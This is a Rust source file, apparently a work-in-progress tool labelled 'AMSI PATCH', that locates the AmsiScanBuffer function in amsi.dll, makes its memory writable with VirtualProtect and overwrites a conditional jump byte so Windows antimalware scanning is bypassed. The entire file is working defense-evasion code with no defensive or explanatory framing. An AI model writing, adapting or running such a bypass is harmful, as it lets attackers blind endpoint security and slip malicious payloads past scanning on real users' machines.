/*
    AMSI PATCH [Still Working on IT]
*/
use std::ffi::CString;

use winapi::{
    ctypes::c_void,
    um::{
        errhandlingapi::GetLastError,
        libloaderapi::{GetProcAddress, LoadLibraryA},
        memoryapi::VirtualProtect,
    },
};

macro_rules! okey {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\_____[+] {}", format!($msg, $($arg), *));
    }
}

macro_rules! error {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\_____[-] {}", format!($msg, $($arg), *));
    }
}

#[allow(temporary_cstring_as_ptr)]
fn main(){
    let amsi_buffer = CString::new("AmsiScanBuffer").unwrap().into_raw() as *const u8;

    unsafe{
        let hook: [u8; 1] = [0x75];

        let h_module = LoadLibraryA(
            CString::new("AMSI").unwrap().as_ptr()
        );

        let address = GetProcAddress(
            h_module,
            amsi_buffer as *const i8,
        );

        if address.is_null(){
            error!("GetProcess Address Failed : {}", GetLastError());
        }

        okey!("H_MODULE: {:?}",h_module);
        okey!("GetProcAddress: {:?}",address);

        let address_ptr = address as *mut c_void;
        let mut count = 0;

        okey!("Address PTR: {:?}",address_ptr);

        loop{
            let opcode_c3 = *(address_ptr as *const u8).add(count);
            let opcode_cc = *(address_ptr as *const u8).add(count+1);
            let opcode_cc_2 = *(address_ptr as *const u8).add(count+2);

            if opcode_c3 == 0xC3 && opcode_cc == 0xCC && opcode_cc_2 == 0xCC{
                break;
            }
            if count == std::usize::MAX { // Check for overflow
                error!("Count reached maximum value without finding {}" , "pattern");
                std::process::exit(1);
            }
            count += 1;
        }

        println!("First Loop Finishes");

        loop{
            let offset_ptr = address_ptr.add(count) as *const u8;
            if is_patchable(offset_ptr){
                let mut old_protect: u32 = 0;

                let protect = VirtualProtect(
                    offset_ptr as *mut c_void,
                    hook.len(),
                    0x40, // PAGE_EXECUTIVE_READWRITE
                    &mut old_protect,
                );

                if protect == 0{
                    error!("VirtualProtect Failed with Error: {}", GetLastError());
                    std::process::exit(0);
                }

                std::ptr::copy_nonoverlapping(
                    hook.as_ptr(),
                    offset_ptr as _,
                    hook.len(),
                );

                let protect2 = VirtualProtect(
                    offset_ptr as *mut c_void,
                    hook.len(),
                    old_protect,
                    &mut old_protect
                );

                if protect2 == 0{
                    error!("VirtualProtect Failed with Error: {}",GetLastError());
                }

                okey!("PATCH AMSI Finish {}",'!');

                break;
            }
            if count == 0 { // Check for underflow
                error!("Count reached minimum value without finding {}.","pattern");
                std::process::exit(1);
            }
            count -= 1;
        }
    }
}

fn is_patchable(addr: *const u8)-> bool{
    unsafe{
        let opcode = *(addr as *const u8);
        if opcode != 0x74{
            return false
        }

        let new_address = *(addr.add(std::mem::size_of::<u8>()));
        let mov_address = addr.add(std::mem::size_of::<u8>() * 2).add(new_address as usize);

        if *mov_address == 0xB8{
            return true
        }
    }
    false
}


#[repr(transparent)]
#[allow(non_camel_case_types)]
pub struct PAGE_PROTECTION_FLAGS(pub u32);
